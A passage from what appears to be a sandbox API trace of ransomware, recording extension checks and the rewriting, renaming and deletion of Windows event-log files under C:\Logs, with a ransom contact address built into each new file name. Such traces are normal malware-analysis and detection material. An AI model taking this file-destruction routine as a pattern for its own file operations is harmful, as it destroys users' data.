lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString=".rar") returned 4 [0155.983] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString=".bz2") returned 4 [0155.983] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString=".7z") returned 3 [0155.983] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.983] lstrlenW (lpString=".dbf") returned 4 [0155.983] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.983] lstrlenW (lpString=".1cd") returned 4 [0155.983] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.983] lstrlenW (lpString=".jpg") returned 4 [0155.983] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.984] lstrlenW (lpString=".doc") returned 4 [0155.984] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString=".docx") returned 5 [0155.984] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.984] lstrlenW (lpString=".pdf") returned 4 [0155.984] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString=".xls") returned 4 [0155.984] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString=".xlsx") returned 5 [0155.984] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.984] lstrlenW (lpString=".ppt") returned 4 [0155.984] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.984] lstrlenW (lpString=".zip") returned 4 [0155.984] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString=".rar") returned 4 [0155.984] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString=".bz2") returned 4 [0155.984] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString=".7z") returned 3 [0155.984] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.984] lstrlenW (lpString=".dbf") returned 4 [0155.984] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.984] lstrlenW (lpString=".1cd") returned 4 [0155.984] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0155.984] lstrlenW (lpString=".jpg") returned 4 [0155.984] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.984] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.984] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0155.984] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.984] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.985] CloseHandle (hObject=0x2fc) returned 1 [0155.985] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0155.985] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.985] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.985] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.985] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.985] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.985] GetLastError () returned 0x0 [0155.985] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.988] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.989] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.989] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x144, lpOverlapped=0x0) returned 1 [0155.989] SetEndOfFile (hFile=0x394) returned 1 [0155.989] CloseHandle (hObject=0x394) returned 1 [0155.991] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.991] SetEndOfFile (hFile=0x2fc) returned 1 [0155.992] CloseHandle (hObject=0x2fc) returned 1 [0155.992] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.992] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0155.992] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.992] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.992] lstrlenW (lpString=".doc") returned 4 [0155.992] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".docx") returned 5 [0155.993] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.993] lstrlenW (lpString=".pdf") returned 4 [0155.993] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".xls") returned 4 [0155.993] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".xlsx") returned 5 [0155.993] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.993] lstrlenW (lpString=".ppt") returned 4 [0155.993] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".zip") returned 4 [0155.993] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".rar") returned 4 [0155.993] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".bz2") returned 4 [0155.993] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".7z") returned 3 [0155.993] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".dbf") returned 4 [0155.993] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".1cd") returned 4 [0155.993] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".jpg") returned 4 [0155.993] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".doc") returned 4 [0155.993] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".docx") returned 5 [0155.993] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.993] lstrlenW (lpString=".pdf") returned 4 [0155.993] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".xls") returned 4 [0155.993] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".xlsx") returned 5 [0155.993] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.993] lstrlenW (lpString=".ppt") returned 4 [0155.993] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".zip") returned 4 [0155.993] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".rar") returned 4 [0155.993] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".bz2") returned 4 [0155.993] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString=".7z") returned 3 [0155.993] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.993] lstrlenW (lpString=".dbf") returned 4 [0155.993] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.994] lstrlenW (lpString=".1cd") returned 4 [0155.994] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0155.994] lstrlenW (lpString=".jpg") returned 4 [0155.994] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.994] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.994] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0155.994] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.994] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.994] CloseHandle (hObject=0x2fc) returned 1 [0155.994] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0155.994] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.994] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.994] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.994] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.994] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.995] GetLastError () returned 0x0 [0155.995] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.159] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.161] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.161] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1 [0156.161] SetEndOfFile (hFile=0x394) returned 1 [0156.163] CloseHandle (hObject=0x394) returned 1 [0156.165] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.165] SetEndOfFile (hFile=0x2fc) returned 1 [0156.166] CloseHandle (hObject=0x2fc) returned 1 [0156.166] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.166] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0156.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.167] lstrlenW (lpString=".doc") returned 4 [0156.167] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.167] lstrlenW (lpString=".docx") returned 5 [0156.167] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.167] lstrlenW (lpString=".pdf") returned 4 [0156.167] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.167] lstrlenW (lpString=".xls") returned 4 [0156.167] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.167] lstrlenW (lpString=".xlsx") returned 5 [0156.167] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.167] lstrlenW (lpString=".ppt") returned 4 [0156.167] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.167] lstrlenW (lpString=".zip") returned 4 [0156.167] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".rar") returned 4 [0156.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".bz2") returned 4 [0156.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".7z") returned 3 [0156.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".dbf") returned 4 [0156.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".1cd") returned 4 [0156.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".jpg") returned 4 [0156.168] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".doc") returned 4 [0156.168] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".docx") returned 5 [0156.168] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.168] lstrlenW (lpString=".pdf") returned 4 [0156.168] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".xls") returned 4 [0156.168] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".xlsx") returned 5 [0156.168] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.168] lstrlenW (lpString=".ppt") returned 4 [0156.168] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".zip") returned 4 [0156.168] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".rar") returned 4 [0156.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".bz2") returned 4 [0156.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString=".7z") returned 3 [0156.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".dbf") returned 4 [0156.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".1cd") returned 4 [0156.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0156.168] lstrlenW (lpString=".jpg") returned 4 [0156.168] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.168] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.169] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0156.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.169] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.169] CloseHandle (hObject=0x2fc) returned 1 [0156.169] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0156.169] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.169] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.169] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.169] GetLastError () returned 0x0 [0156.169] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.184] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.185] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.185] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x134, lpOverlapped=0x0) returned 1 [0156.185] SetEndOfFile (hFile=0x394) returned 1 [0156.185] CloseHandle (hObject=0x394) returned 1 [0156.187] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.187] SetEndOfFile (hFile=0x2fc) returned 1 [0156.188] CloseHandle (hObject=0x2fc) returned 1 [0156.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.188] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString=".doc") returned 4 [0156.189] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".docx") returned 5 [0156.189] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.189] lstrlenW (lpString=".pdf") returned 4 [0156.189] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".xls") returned 4 [0156.189] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".xlsx") returned 5 [0156.189] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.189] lstrlenW (lpString=".ppt") returned 4 [0156.189] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString=".zip") returned 4 [0156.189] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".rar") returned 4 [0156.189] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".bz2") returned 4 [0156.189] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".7z") returned 3 [0156.189] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString=".dbf") returned 4 [0156.189] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString=".1cd") returned 4 [0156.189] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString=".jpg") returned 4 [0156.189] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0156.189] lstrlenW (lpString=".doc") returned 4 [0156.189] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.189] lstrlenW (lpString=".docx") returned 5 [0156.189] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.189] lstrlenW 